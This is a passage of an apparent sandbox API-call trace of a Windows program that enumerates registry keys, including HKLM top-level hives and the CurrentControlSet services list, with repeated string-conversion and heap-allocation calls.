lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0223.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0223.843] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0223.843] RegCloseKey (hKey=0x148) returned 0x0 [0223.843] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.843] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0223.843] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.844] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.844] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.845] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.846] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.846] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.846] RegCloseKey (hKey=0x150) returned 0x0 [0223.846] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.847] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.847] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.847] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.847] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.847] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.848] RegCloseKey (hKey=0x148) returned 0x0 [0223.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, 